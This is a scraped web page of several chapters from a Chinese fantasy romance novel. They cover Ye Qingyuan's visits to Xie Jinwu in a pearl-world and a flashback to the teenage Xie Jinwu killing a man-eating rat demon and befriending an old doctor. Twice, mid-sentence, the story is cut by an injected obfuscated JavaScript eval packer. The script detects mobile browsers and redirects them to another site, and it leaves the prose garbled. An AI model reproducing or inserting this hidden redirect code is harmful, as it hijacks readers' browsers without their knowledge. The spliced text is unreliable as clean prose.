又是这样的清亮月夜,迷离树影。 叶清圆脸上笑意僵住。 不妙,她这段时间和他在一起玩得太愉快,却一时大意倏忽,竟至于祸从口出。 意料之中的沉默,谢尽芜也并未追问,只淡声陈述着自己所看到的事实:“其实你每次离开,都没有回到所谓的城中客栈。而是……风停住了,你就那么凭空消失了。” 叶清圆转头看他:“你……” “我都清楚地看到了。”谢尽芜抿了抿唇,“我只是担心你回去时遇到危险,想送你一程,并非有意跟踪。” 他浓睫低垂,眸中真的有愧疚:“实在抱歉。” “没事没事!”叶清圆连忙摇头,“不要抱歉,你是好意呀。” 她的手指攥紧了衣裙,半晌后才道:“我不好与你解释这些事情。总之你记住一点,我来到这里只是因为想见你。” 不可以让谢尽芜意识到他现在正处于小世界里,一旦他意识到这个事实,蕴灵珠幻化出的境界就极有可能塌陷。 “好,那就不必解释。” 足够了。 谢尽芜的喉咙滚动了一下,随后轻声道:“我只想问一个问题。” “嗯。” “你会离开吗?”其实他的心里已经有了答案,“若有朝一日你要离开,能不能告诉我?” 他的神情好悲伤。叶清圆不由得问,“你要做什么呢?” “我知道,你本就不属于这里。” 谢尽芜静静地凝视着她,殷润乌黑的眼眸漂亮得就像月下静湖。 他执着道:“你答应我。” “……好,我答应你。” 叶清圆根本遭不住他这一双眼,忙不迭地颔首应下。 初秋的晚风中蓦地响起一阵脚步声。 两人闻声转头望去,棠花林中竟是走出几名少年。 宋泽坤步子迈得最大,气势最凶,怒声道:“姓谢的,你为何如此冷落我们连枝姑娘?!” 谢尽芜眉心一蹙,起身将叶清圆挡在身后,冷声道:“我从不曾见过宋公子口中的连枝姑娘,公子何出此言?” “没见过?”宋泽坤恼怒道,“上个月在道观里,不是你送给连枝姑娘一把油纸伞,叫她免被雨淋的吗?” “公子难道是叫我眼睁睁看着一个活人被雨淋么?”谢尽芜顿觉烦躁,“况且当日之举,就算不是我所做,也会有别的师兄弟前去送伞。莫非我们道观里都是那般冷血之辈么?” “你!”宋泽坤大怒,却哑口无言。 叶清圆在栾树后头终于是听明白了。 谢尽芜是好心送伞,谁曾想竟送出这样一场风波。 “哼,”宋泽坤辩不过他,脸色变了一变,旋即冷笑,“亏我先前还以为你真是那种不近人情之人呢。怎么,方才为何又与一姑娘在河畔放莲灯?” 谢尽芜在他话音落下的一瞬,眸中冷戾横生:“宋泽坤,我劝你不要多管闲事。” “我多管闲事?”宋泽坤笑了,“你们道观里难道还允许小道士去谈情说爱的吗?我这可不是多管闲事哦,我只不过是担心你毁了道基,所以想将此事禀报给青池道长,由他老人家亲自决断而已。” 眼见得谢尽芜的脸色越来越难看,叶清圆自栾树后绕了出来。 她笑意盈盈道:“这位宋公子竟如此为那位连枝姑娘打抱不平,不知连枝姑娘本意如何?她知晓公子肯为她肝脑涂地,以至于做出今番这等不理智的举措吗?” 宋泽坤眯起眼:“你想说什么?” “据我所知,连枝姑娘乃是这城里最为腰缠万贯的酒楼老板,她是提到过自己曾在道观 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“哦,这个呀。我闲来无事,去连枝姑娘的酒楼走了一趟。” 叶清圆道:“结果就发现事情跟这个宋泽坤所说的完全不一样嘛,人家连枝姑娘忙得每天数金数银都顾不过来,哪有闲情逸致去想别的?这都是他自作多情而已。” 她语速飞快地说完,一抬眸却撞上谢尽芜隐隐含笑的目光,不禁疑惑道:“干嘛?” 谢尽芜抿起唇笑了:“真聪明。” “那还用说?”叶清圆挑起眉,十分得意,“我可是这世上独一无二的叶清圆!” 谢尽芜眼中的笑意温柔。 脑海中的系统提示音响起,叶清圆拍拍他的肩膀:“我要走啦!晚安,小谢哥哥,我们明天见!” 说罢,她习惯性地转身要去棠花深处。不料这次谢尽芜却拉住了她的手腕,轻声道:“不必再去那里了,我知晓你会随风一起离开。” 叶清圆想了想,确实也没什么再躲避的必要,于是站住不动。 两人对视着轻笑,谢尽芜小声道:“祝你今夜好眠。” 两息后,晚风裹挟落叶与月光,她的身影逐渐变得模糊,旋即消散不见。 谢尽芜在最后关头挽留似的伸出手,却只触碰到了一阵凉风。 栾树下的青石砖道,唯有清冷的月光泼洒。 道观前的高耸石阶上,树影摇晃的光线昏暗处,青池道长默不作声地将他的举动收入眼底。 他走下石阶,沉声开口:“谢尽芜,你随我来。” - 正殿,烛光明亮,炉中青烟袅袅。泥金塑像前方漫垂的挂幡被笼罩在烟雾中,显出几分朦胧。 谢尽芜跪在蒲团上,脊背挺直,眸光冷漠而坚定。 门外廊檐下偷偷围过来许多青袍小道士,扒着门框探头探脑地看过来。青池道长挥袖将他们都撵走,转身将殿门关闭。 “你到底想要做什么?”青池道长站在谢尽芜的侧前方,眉头拧得死紧,“你这几日总是借故外出,难道就是为了见她?” 谢尽芜坦然颔首:“是。” 青池道长的脸色旋即变得更差:“她是哪里来的姑娘,你可清楚?入我门中,终身不可涉及情爱之事,这你也清楚?我瞧你们有说有笑,分明是全然不知后果为何!” 谢尽芜语声淡淡,却透出一股不容置喙的坚定:“我会娶她为妻。” “你如何娶她?” “还俗。” “什么?!”青池道长伸手指他,声音颤抖,“她来历不明,又不知去向,你也不怕她是妖是鬼吗?” 谢尽芜的脸色一点都没变:“无所谓。” “……谢尽芜,你真是疯了。” 青池道长又惊又怒:“你们才认识多久,你竟已被她蛊惑得失去理智了吗?” 谢尽芜颔首,闭眼道:“心之所系,无关理智。” “你……!你啊,你啊!” 青池道长咬牙眦目,想要斥责他却又说不出口,怒而拂袖,好像觉得地砖烫脚似的在正殿里绕了几圈,一时恨恨地说不出话来。 方才在道观门外的栾树下,他是瞧见谢尽芜和那姑娘说说笑笑不假,两人脸上的神色也是有情有意的模样。可他却不曾想到谢尽芜竟已陷入得那么深,竟连娶人家为妻这种荒唐话都说得出来! 谢尽芜轻声道:“我心意已决,纵使明日天崩地裂,也绝不会更改。” 他抬起眸,乌亮的眼瞳中盈满坚定与决然:“还望师父恩准。我们之间还有约定,我不忍叫她久等。” “你想都别想,我不会同意你还俗的。” “师父,”谢尽芜轻声说,“师父明白,若弟子真要走,谁也拦不住。” 青池道长冷哼:“你就先在这里跪上一晚再说,看那姑娘明日是否还肯来见你。” 随即拂袖而去,隐含怒意的声音散在晚风中。 112. 终 翌日,叶清圆午后小憩之后照常要去蕴灵珠中与谢尽芜见面,可不知为何,今日却无论如何都无法进入。 系统:“蕴灵珠中灵力波动剧烈,宿主不必再尝试了。” “为何?”叶清圆好奇,“出什么事了吗?” 系统沉默一瞬,颇有些难以启齿道:“是这样的。谢尽芜已经察觉到自己对宿主的心意,他想要……还俗,然后与宿主结为夫妻。” 叶清圆怔住了:“……什么?” 她呆了好久,讷讷地反思道:“是我的错,我不该总去招惹他。” “不怪宿主,是我们都低估了谢尽芜。”系统安慰道,“总之我们这段时间就别再去蕴灵珠里,先在外观察吧。” “他现在的情况如何呢?” “在关禁闭。不必担心啦,我会帮宿主盯紧他的。” 叶清圆略有不舍,还是点头道:“好。” 温度骤降,满院的落叶像是永远都扫不尽,她进屋喝杯茶的功夫,地上便又落了薄薄一层。 后来下过一场秋雨,雨水打湿枯黄的落叶,别有一番萧瑟清冷的美。叶清圆便也不去再管,任由树下枯叶堆叠成静美的画卷。 天气晴朗的时候,落叶蓬软喧呼,三花和大橘便扑在叶子堆里玩闹,终于不再举着爪子跃跃欲试,妄图折腾莲池里的锦鲤。 很久之后,叶清圆才久违地收到了系统的提示。 “谢尽芜在道观里等了你两个月。” 蕴灵珠里的时间流速与外界不同,快慢也难以说清。叶清圆这边才过去不到一月,谢尽芜的小世界里或许都过了好多年。 “他在等你,与他成婚。”系统简短道,“青池道长观察他很久,始终都不见他显露出放弃的念头。那个宋泽坤也不再为了连枝姑娘故意来找茬,却还是看谢尽芜不顺眼,总是跑到青池道长那里告状,说谢尽芜成日里魂不守舍,也不知是在思念谁家姑娘,儿大不中留啊!” 叶清圆听得一阵无语:“……” 这宋泽坤到底是个什么品种的人才啊? 他不是早已有家室了吗?好好经营自己的家庭,不行吗? 系统又道:“两个月后,谢尽芜主动提出,想要走出道观,去外地游历一番,用毕生所学为百姓捉妖灭鬼,匡扶正义。” “谁都看得出来他本意不在此,他就是想要找你,却又不知你身在何处,只好这样一点一点地、大海捞针似的,将所有的地方全都找过一遍。”系统的声音很低,“可是青池道长明知他对你念念不舍,却也拿他无可奈何。以谢尽芜那时岌岌可危的情绪状态,就算强行将他留住,他也只有两个下场,要么走入疯癫,要么郁郁而终。” 叶清圆闭上眼,轻声道:“所以他离开了。” 系统道:“是的,他故意去一些很荒僻却极为危险的地方。” “他似乎是觉得你来历神秘,或许会与那些地方有关,所以不要命似的孤身往里闯。他也不怎么在乎妖鬼对他的伤害,只要确认那里没有你的存在,他就快速抽身离开,奔赴下一个地点。” 刷地图呢? “总之这一年来,他一直都在找你,可是毫无希望。” 系统补充道:“近日倒是老实了几天,因为遇到一只道行百年的雪妖,他伤得实在太重,失血过多,必须要休养一段时间了。” 叶清圆垂下眼睫:“我该庆幸吗?” 至少他不再拿性命当儿戏了。 “宿主还是不要去见他,免得再导致更不可控的变化,静心等候吧。” 深秋萧瑟,叶清圆用过晚膳后就搬了藤椅在廊檐下逗猫,为保暖还在腿上盖了薄毯,有一搭没一搭地摸着小猫柔软而温暖的脑袋。 月影皎洁,她也不知自己是何时睡过去的,半梦半醒间觉出些冷意。 她睡得直皱眉,意识朦胧间恍惚听见一声轻若呢喃的叹,是好熟悉却又好遥远的声音。 “清圆,回卧房里睡。” 叶清圆瞬间就惊醒了。 她揉揉眼,又惊又喜,猛然站起身来追了两步,轻声道:“是你吗?” 回答她的是一阵呜咽风声。 放眼望去,入目唯有满地的冷白月光,如凝了一层厚重的霜。 她顿觉失落,浑身更冷,抱着薄毯失魂落魄地转身回了卧房。 入冬后,许雁含写来一封信,说她和白璟在冷镜台遇到一只狼妖,专杀村里的小孩子提升修为,很难对付,问叶清圆是否有空前去相助。 叶清圆没有半点犹豫,她备好符纸,又给猫咪们留下足够的小鱼干,就急匆匆赶了过去。 她没有将谢尽芜的事情告诉他们,事以密成,期待的事情一旦分享给别人听,就仿佛不会再灵验。 她惴惴不安了太久,甚至就连这么一丁点毫无根据的风险,她都不想接受。 她强迫自己不再去想蕴灵珠,每天睁开眼就是全身心地投入到捉狼妖的事情当中。布置陷阱,设阵贴符,三人齐心合力,终于是在足足七天后才将狼妖从深山里诱了出来,困在阵法中。 白璟祭出引魂铃,对它摄住的小孩魂魄施展渡亡之术。狼妖作孽太重,则是被悲愤至极的村民们持着棒槌和铁锹活活打死,修为也散尽。 大雪纷纷扬扬地落了下来,将近年关。 白璟和许雁含商议着要去南海过年。他们游历途中听别人说起,南海景色美丽,鱼肉清甜,海蛎也好吃。 许雁含拉着叶清圆的手,期待道:“姐姐,我们一起去吧?” 白璟正在吃梨,闻言笑着附和:“我们在海边搭一座木房子,在那里玩上几个月,等玩够了再回来。” 许雁含撒娇道:“去嘛去嘛。” 叶清圆笑着摇头,无意去打扰他们二人的相处。许雁含只好道:“那等我们回来后,先去看你好不好?到时候我们给你带礼物。” 叶清圆道:“好,我等你们。” 就此告别。 白璟从院子后头牵了马,与许雁含并肩走着。 阳光明媚,白璟不时转头看向许雁含,语笑晏晏,后来不知说了些什么欠揍的话,惹得许雁含勃然大怒,从道旁抓了雪就要塞进他衣领中。白璟大笑着躲避,马儿也轻声嘶鸣,甩着尾巴步伐轻快。 两人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身后忽然传来轻微的踏雪声。一阵风吹来,又是那般清新的如雨后松林般的香气。 她转过身,尚未看清他的脸容,就被拥进一个宽厚温暖的怀中。 细细的风和雪都被扰乱,两具身体迫不及待地用力地挨近,仿佛要将对方都揉进怀里。 谢尽芜的脸颊贴在她耳畔,呼吸滚烫却细细颤抖地说:“清圆,我来履行约定了。” 叶清圆的眼眶酸涩得发痛,手指紧紧抓着他肩头。 她撒娇抱怨:“……你来得好晚。” 谢尽芜笑出声,轻柔地哄她:“是我不好。” 情意曾相隔两个世界,却始终是一样的灼热、赤诚。 至死不渝。 滚烫泪水滴落在莹白的雪地,厨房里飘来饭菜的暖香。 两只小猫埋头在瓷制的猫碗中。 莲池里有肥硕的锦鲤在游动,水声清亮。 此时情绪此时天,无事小神仙。 113. 砚绘山 谢尽芜接到任务,去砚绘山除掉一只鼠妖。 他应下来,回郊外竹楼换了身墨色劲装,擦拭刀剑,连饭都没吃,就赶去砚绘山捉妖。 希夷殿每年都会接很多委托,有除祟的,有捉妖的,还有追杀叛徒、鬼修的。任务繁多,赏金高额,有些太过危险,别人不愿去,或是家中有事抽不出空,这些任务就由谢尽芜全盘接下。 他无依无靠,过年都没地方去。就算不出任务,也只好在竹楼里待着。 还是出任务吧,至少有事可做。 到达砚绘山脚下的时候,正是中秋夜。 山下有个小小的村庄,不太富裕,百姓们却过得和谐安乐。 谢尽芜没往村庄里去,而是进了深山,借着月光探查一番,随手除了几只凶邪的妖兽。 他没找到鼠妖的气息,却听小妖们低声告饶,颤抖着说:“鼠大王现在可有钱啦!每天都有大米吃呢!” 小狐流口水,很羡慕地点头:“对呀对呀!还有上好的烧鸡可以吃!” “还有叫花鸡!可香啦!上次我求鼠大王分给我一口,大王却叫我滚一边去!” “它真小气!”“就是就是!” 一群小妖灵们叽叽喳喳地闹起来。它们本来话就多,现下更吵。吵得谢尽芜耳朵痛,他将肩头的一只灰兔子抓下来,转身走出深山。 小妖灵们跟在他身后,蹦蹦跳跳地继续讲:“我也想吃叫花鸡!”“你就是鸡,不可以同类相残哦。”“小郎君,前面有个坑,你要小心呀!” 谢尽芜终于甩掉了这帮小喇叭。 他先在树林里转了转,寻到一处较为稳固的枝桠,纵身上树,躺好补了一觉。 醒来后,他才去村里打听消息,这附近是否有富商居住? 彼时他不过十五岁,穿一身墨色劲装,腰间挂剑,手掌缠了印有暗金色符文的墨色长带,露出的两截手腕却冷白。 他脊背挺拔,腿长肩宽,宛如劲竹,浑身都是素简的墨白两色。 村头大树荫下扯八卦的老人们见了他,便知不是寻常人物。立刻说,有哇!镇上的严富商可有钱啦,豪宅百顷,黄金万两,屋里娇妻美妾一十八位呢!是个很好色的富商,闹出不少风流韵事呢,连村里百姓们都听说啦! 又说:就是最近有些奇怪呢,严富商好久都不曾宠爱过这些貌美妻妾,反倒天天去库房抱着米缸呼呼大睡,还动辄发出吱吱怪笑。听说他宅子里的妻妾们都要闹起来了。 毫无疑问,正是鼠妖。 谢尽芜又打听了这位严富商的住处,一路向南赶去。 到达严家豪宅时正是傍晚,宅子里的仆人都忙碌着准备晚膳。谢尽芜蹲在宅院靠山一侧的树枝阴影里,眸光沉静地往屋里望去。 十几位妇人分成三桌,各个打扮得花枝招展,姿态妖艳,举手投足间香风阵阵。仆人们端着木托盘来送菜送汤,俱是珍馐佳肴,哗啦啦送个没完,像是流水席似的。 严富商光是养着这么些妻妾,一天的开销就顶农户们好多年了。 府里妖气浓重,上方还盘旋着怨气。谢尽芜的目光在屋里扫了一圈,却没见到这位“吱吱怪叫”的严富商。 有一位美妇人饭量小,几口就吃饱了,靠在椅背娇声抱怨:“这个姓严的,天天行踪神秘,也不知去了哪里呢!” 她话音落下,其他人也轻声嘀咕起来。唤来富商身边的小厮询问,却听他说:“老爷在厨房呢。” “在厨房干什么?” 小厮支支吾吾地,也有些疑惑:“在学……筷子的用法。” 众人惊讶:“啊?” 谢尽芜听罢便纵身潜进厨房。看来这鼠妖变为人身的时日实在太短,短得连筷子都没学会。还改不了曾经是老鼠时的习性,总爱往米缸里钻,还吱吱叫。 道行太浅。 谢尽芜推开厨房的门,入眼就是个圆墩墩的矮胖子蹲在灶台前,右手费力地捏着一双筷子,碗里的红烧肉被他戳得稀烂。 鼠妖闻声回头,精明的一双眼,白花花的大门牙。它瞧见谢尽芜腰间的长剑,吓得筷子都掉了:“吱吱吱吱!” 谢尽芜抽剑出鞘,纵身刺了过去。鼠妖慌乱叫着躲开,木桌咣当一声倒地,闹出好大的动静。 院子里的仆人闻声匆匆赶了过来,正在用膳的妻妾们也衣衫蹁跹地小跑而来。 谢尽芜抬手便是一道符贴在鼠妖背后,逼得它无法维持人身,一双镰刀似的大门牙就亮晃晃地露在外头,脸颊钻出了长长胡须。 赶来的仆人一见它这尊荣当即吓得摔倒在地:“俺滴娘哎!” 美貌妻妾们见状也吓得花容失色:“……老爷?” 严富商:“吱吱吱吱吱吱!” “有妖怪呀!”众人大叫出声。 谢尽芜一脚踹在鼠妖的膝窝,踹得它重重跪下,膝盖骨都快跪碎。紧接着他将长剑横在鼠妖颈间,冷声道:“快出来吧。” 鼠妖的门牙打颤,露出祈求的眼神看向它的美妾们。 这一眼,竟是叫她们都有些心软了。 “这位小郎君,我家老严是不是被妖怪附身了呀?” 谢尽芜淡声道:“你们与他相处许久,就没察觉出异常吗?” “没有哇!”美妾们摇头,又道,“就是不如从前那么、那么……” 难以启齿。 从前的严富商好色,所以才纳那么多美丽的妾室。可鼠妖呢,它修炼邪术,早就不能人道呀,自然就对这些风月之事没兴趣,因此甚少再与她们柔情蜜意。 彼时谢尽芜尚不开窍,根本没听懂她是何意,眼中是纯粹的疑惑:“什么?” 那美妇人见他姿容清隽,鼻梁高挺,露出的半截手臂也肌肉线条分明,想必是很不错的。于是笑道:“自然是……耳鬓厮磨、被翻红浪。小郎君,你过来些,我仔细讲给你听呀。” 她在众目睽睽之下,口出这般孟浪之语,将在场之人惊得不轻。 旁边一名女子拉她的衣袖:“姐姐,这年纪太小了,不合适。” “小什么?你瞧他那身板,虽说瘦些,可骨架是很挺拔的,喉结也不小!你不懂,挑男人就得……” 谢尽芜拧起眉,看这两人你一言我一语地辩起来,跟赶集挑菜似的,当即心生不耐。 不必再琢磨她们说的是何意,反正不会是什么好话。 却听有一人焦急道:“小美妹妹去哪里啦?” 话音落下,众人这才注意到,在场的美妾们竟只有十七位。 小美是上个月才来的。她性格内向,喜欢读诗书,本该找个好郎君嫁了的。只因家中穷得揭不开锅,弟弟娶媳妇还要钱,这才被爹娘卖过来给人做妾。 这样内向的姑娘,放在府里也不怎么起眼。因此小美独来独往,失踪了许久竟也没人发现。 谢尽芜低声问鼠妖:“是不是你?” “吱吱吱!不系我呀!”鼠妖口齿不清地否认。 下一秒,唇边却流出了哈喇子。 “你把她吃了?” “我、我……”鼠妖似乎还回味着那滋味,竟是吱吱吱地笑了出来。 这一下子,在场众人的脸都白了。 原来,这鼠妖杀害了严富商,又顶替他身份的当晚,就遇到小美来找他喝茶。鼠妖那时只能艰难维持人形,一双爪子摆在桌面上,不多久就露出了皮毛。小美吓得嗷一声就晕了,鼠妖看着她手臂脖颈的嫩肉,馋意上头。等回过神来时,卧房里已经一片血红,只剩衣裙和骸骨。 鼠妖吃得很是满足,身上修为也涨了不少,收拾干净之后,便想着再吃一个。 反正这严富商原本就好色,宅中美妾们细皮嫩肉,想来是极好吃的。 它尝试过几次,美妾们到来之后就默认要春宵一度,可鼠妖修炼得早就不能人道,又怕露馅,事情闹大了惹来修者对它进行灭杀。思来想去,它只好以严富商的身份,叫人牙子时常送些无亲无故的小孩儿来,叫它好歹过过口福。 它以为自己做得够隐蔽,不想还是被发现了。 听罢来龙去脉,美妾们吓得脸色惨白,哗啦啦退出好几步。 谢尽芜也无意在众人眼前持剑杀妖,闹得满地血腥,便将鼠妖抓走,扔到了荒山树林里。 鼠妖摔在地面突起的树根上,砰砰弹了两下,撞得肺都快出来了,吐血求饶道:“求你,求你!饶过我这一次吧!我只是想吃点好的,我有什么错?!” 谢尽芜抽剑出鞘,居高临下地看着它,眼神冷得像冰。 鼠妖吱吱叫了两声:“你放过我!我给你富贵,给你黄金,还有那些女人,都送给你,行不行?!” “你感到懊悔吗?”谢尽芜冷不丁地开口,“为你杀过的人,做过的恶。” 鼠妖一听,这是有放它一马的希望啊!它紧张地咽了咽口水,点头道:“是、是!我后悔了,我不该吃人,我吃鸡吃鸭就好了,不该吃人啊!求你,求你放我这一次,今后我再也不会害人了,我保证!” 谢尽芜半垂着眼睫,视线落在它的脸上,似乎在观察着什么。 但鼠妖的脸上并没有他想看到的东西,只有故作的悔意与掩饰不住的对强者的惧怕、谄媚,丑陋得令人恶心。 片刻后,他才颇感无聊地收回目光,淡声道:“不,你并没有感到懊悔。你只是怕了。” 按照谢尽芜这些年杀人杀妖的经验,任何东西在濒死的时候,除了绝望求饶,还会感觉到愤怒、不甘。 果然,这鼠妖见求饶无用,恶向胆边生,立刻破口大骂起来:“你要对我动手简直就是在找死!你敢——吱!!!” 谢尽芜举剑,不带一丝犹豫地刺穿他的胸膛。 这个反应,全然在谢尽芜的意料之中。他的浓睫低垂,顿觉一切都索然无味。 鼠妖崩溃大叫无能狂怒道:“我一定不会放过你的!你等着我一定会砍断你的双手双脚然后将你绑在树上,让你眼睁睁看着我把这里的人都吃光!” 谢尽芜没说话,抬脚踩在它的伤口处,用力狠狠碾压。 鼠妖痛得浑身冷汗,大张着嘴巴却一点声音都发不出来。 昏沉的视线中,它看到眼前的修士头顶一轮冷白明月。那双漆黑的眼瞳也冷得像冰,一点寒光在他的眼中闪烁。 谢尽芜手腕转动,剑锋划过鼠妖的脖颈,血流迸发,染红遍地。 而后他擦剑,入鞘,云淡风轻:“挖个坑,把它埋了吧。” 他做事向来管杀管埋,很有操守,口碑也好,至今都未曾收到过恶评。 躲藏在草丛后的小山妖们瑟瑟发抖,闻言忙不迭地蹦过来,从树丛里捡起尖尖的树枝,很乖巧地挖起坑来。 谢尽芜没管它们,缓步走远,挑选了一根比较粗壮的树枝。他从腰间墨带处取出一柄短刀,动作利落地将之削成一块简陋的木碑。 他一手提着木碑回到原地,见小妖灵们已经将坑挖好了,只是那鼠妖附身的严富商胖得像个球,小妖灵们吭哧吭哧好半天都没挪动,只好蹲在坑边眨巴着眼看谢尽芜。 木碑上刻了字:“鼠之墓”。 谢尽芜走过去,先将木碑给它立好。而后抓住鼠妖的后领子,将它拖到了坑边,动作利落地一脚踹去。 “砰!”的一声闷响,鼠妖掉进了坑里,脸朝下。 死都死了,什么姿势也没差。谢尽芜淡声道:“埋了吧。” 鼠妖被杀的消息不过片刻,就传遍了整座深山。 “鼠大王被杀啦!”“它吃人,活该!” “小郎君偷偷跟我讲啦,欺负善良的生物,都会遭到报应的!” 小妖们一片附和:“就是就是!”“谁让它不给我吃烧鸡,还叫我滚!” 谢尽芜没兴趣再听小山妖们的话,而是转身去了热闹的村镇。 他的腿骨最近很痛,痛得他几次从睡梦中惊醒。有些莫名,分明他近日不曾受伤,也没有磕碰,为何会痛? 谢尽芜想不明白,猜测或许是患了某种病。虽然他不怕死,但总这么疼也挺折磨人的。 于是找了个医馆,进去询问。 大夫年纪很大,须发花白,听谢尽芜讲完病状之后,便叫他将腿搭在木凳上,很有技巧地捏了捏。 老大夫疑惑道:“没什么毛病啊。” 又抬头看他:“孩子,几岁了?” 谢尽芜淡声道:“十五。” 老大夫了然一笑,将药方笔墨都搁去一旁:“长个子呢,觉得腿疼是正常的。” 谢尽芜端正坐好,不解道:“可有止痛的办法?” 这与刀剑伤又不一样,痛楚仿佛从骨缝里钻出来。 他这时的身板还不太健硕,甚至因为抽条拔节的缘故还显得很瘦,有种少年人独有的凌厉感。 老大夫看着他这副劲竹似的模样。如此缺乏常识,想来是家里没有长辈可倚靠的。 不由得有些心疼。若是他的小孙儿还活着,也是这样的年纪了。 老大夫笑道:“很容易。多吃肉,多喝骨头汤,多睡觉。喝些牛乳也是有用的,若是夜里疼呢,就用热帕子敷一敷,会好很多。” 谢尽芜默默记下,掏出银钱给他。 老大夫说什么也不收,又嘱咐道:“这钱你留着。出了门右拐有家醉凤楼,他们的排骨汤是每天五更时开始熬的,肉块又大,最补。你记得多喝些,啊。” 谢尽芜推辞不过,只好将银钱收了回去,转身出门。 街上熙攘热闹,谢尽芜走出一段又忍不住回头看,却见那老大夫和老婆婆站在医馆门口,笑吟吟地看着他,眼里都是慈爱之色。 老大夫轻声笑道:“我说的吧,咱们的小虎若是还活着,就该这么大了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015576|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 老婆婆应了几声,叹气,转头默默抹泪。 谢尽芜收回目光,进了醉凤楼。 希夷殿不催着他回去,他也就在镇子里住了下来。 这几年,他因为总是训练、出任务的缘故,大部分吃喝都潦草解决,睡也睡在荒郊野岭。从来不曾像现在这样,住在舒适的客栈,每天准时准点去醉凤楼喝骨头汤。 醉凤楼的伙计都眼熟他。他刚走到门口,还未开口,伙计已经笑呵呵着吩咐了后厨,又引他去楼上雅座。 小伙计很会来事,说总喝骨头汤该腻的,引导着谢尽芜又添了许多菜。荤素都有,到最后满满一桌。老板见他很有豪情快意,消费颇高,还特意送来了时令鲜果。 谢尽芜脸皮薄推辞不过,只不紧不慢地都消灭了干净。 待他走后,小伙计收拾餐桌,嘀咕道:“饭量是不小。” 正所谓,半大小子,吃穷老子。 谢拱辰作古多年,谈不上被他“吃穷”。就是谢尽芜自己嘛,他这一趟任务的奖金,全花在吃上了。 那种成长带来的痛楚终于缓和了些许。谢尽芜在这半个月里过得前所未有的平静,没有厮杀,没有妖鬼。他就漫无目的地到处闲逛,看树看花,也看人。 街上涌动的人群好像一群群蚂蚁。他在晴光泼洒的午后,双臂交叠,趴在客栈二楼的窗棂,望向下方涌动的人潮。 看了没一会儿,就倦意汹汹。他阖眼睡去,枝头粉白的杏花瓣静谧地飘下来,落满他的手臂和肩头。 他时常也买些新鲜的食材送去医馆。 老两口起先不肯收,谢尽芜便偷偷放在他们院子里的盆栽旁,再快速离开。逐渐地,老两口也没办法,又是叹气又是抹泪地将食材拿进厨房。 后来有一天,他把买来的鲫鱼放在院子里,刚准备走,那边老大夫突然出现叫住了他。 “我家小虎若是还活着,该跟你差不多大。”老大夫的声音很沧桑,“他是个苦命的孩子,三岁的时候爹娘就被狼妖杀了。我和老婆子把他拉扯大,去年夏天,他为了救一个落水的小孩,跳到河里去,被水草缠住了腿……叫河神大爷收走当小徒弟啦。” 老大夫笑着,浑浊的眼里却凝聚了泪水。 谢尽芜静静听,漆黑的眼瞳中没有一点笑意。 “我给人看了一辈子病,却连自己家孩子都没保住……学问也没能传下去。”老大夫叹了口气,“你一个人在外头,少不了受伤吧?我瞧你胳膊上还有疤。” 谢尽芜轻声“嗯”了一声。 “要不要跟我学点医术?行走在外,至少得知道给自己看病哪。”老大夫又无奈地笑,“不然,连自己为什么会腿疼都不知道。” 谢尽芜没有拒绝的理由。从那天开始,他就去跟着老大夫学些包扎止血的手法,慢慢地,还会给人开一些比较基础的药方。 谢尽芜离开镇子的那天,专程去了一趟医馆。 老大夫笑呵呵地看着他,只说:“我瞧着是长高了些。” 谢尽芜甚少面对这样直白而慈祥的目光,不由拘谨道:“我要走了。” 老大夫没有多问,只是掀开帘子叫老婆婆。 不一会儿,老婆婆闻言过来,往他手里塞了许多水果,还专程备了个包裹,里头装满了她亲手做的红枣馒头。 “路上饿了吃,啊。”老婆婆满眼不舍地叮嘱他,“一个人在外要懂得照顾自己,瞧你,这段时间吃得好睡得好,脸色也比先前好了许多,是不是?” 老大夫笑眯眯地附和:“最开始的时候,就是一副没好好吃饭的样子,这么瘦。回去以后,也要记得按时吃饭,多吃肉,腿才不会疼,记住了吗?” 谢尽芜接过沉甸甸的包裹,里头装满了红枣馒头,还热乎着。 他垂下眼睫,轻声道:“我记住了。” 老两口送他出门离开,回返医馆时,竟见桌案上一个小小的布袋。老大夫以为是他落下的物品,追出门去却不见了谢尽芜的踪影。 这布袋很沉,兴许装了珍贵的东西。绳口却拴着一张卷起来的纸条,老婆婆展开一看,却见上头写了两个字:“多谢。” 打开布袋,里头金灿灿地晃人眼睛,竟是十几颗金豆子。 - 两年后的年关,谢尽芜无处可去,到处晃荡,竟是又回到了当年的这座小镇。 街市热闹,他凭着记忆走到医馆,却见那里已经变成了一家馄饨铺。 老板娘道:“哦,公子说医馆呀。老两口前些时间去世了,我们才刚把铺面盘下来,卖些馄饨。公子可要来一碗?” 谢尽芜愣了一瞬,摇头,转身离开。 漫无目的地走了很久,最后又去醉凤楼,点了排骨汤。他只喝一口就放下,依旧是香喷喷的味道,不曾变过,却再难以下咽。 竹篾帘子一掀,是小二送菜进来。谢尽芜抬眸看了一眼,还是当年那个人,现在竟已经做到了领班的位置。 他沉默地坐在靠窗位置,街巷中百姓们的说笑声伴着微风传入耳中。 一道清脆的笑声响起。 是一个姑娘,举着糖葫芦笑吟吟地和她的郎君开着玩笑。两人俱是眉眼含笑,语态柔和,满是爱意。 谢尽芜漠然收回目光。 或许在将来的某一天,也会有这样一个人,笑意盈盈地看着他吗? 也许永远都不会有。 - 而同一时刻,十五岁的叶清圆还坐在台灯下,愁眉不展地做三角函数。 白色淡花的窗帘被晚风吹起,窗外的栀子花香一蓬蓬地渡进来。 书桌上摆了一只澄黄的柑橘,不是用来吃,而是给她做题间隙时闻味道提神醒脑的。 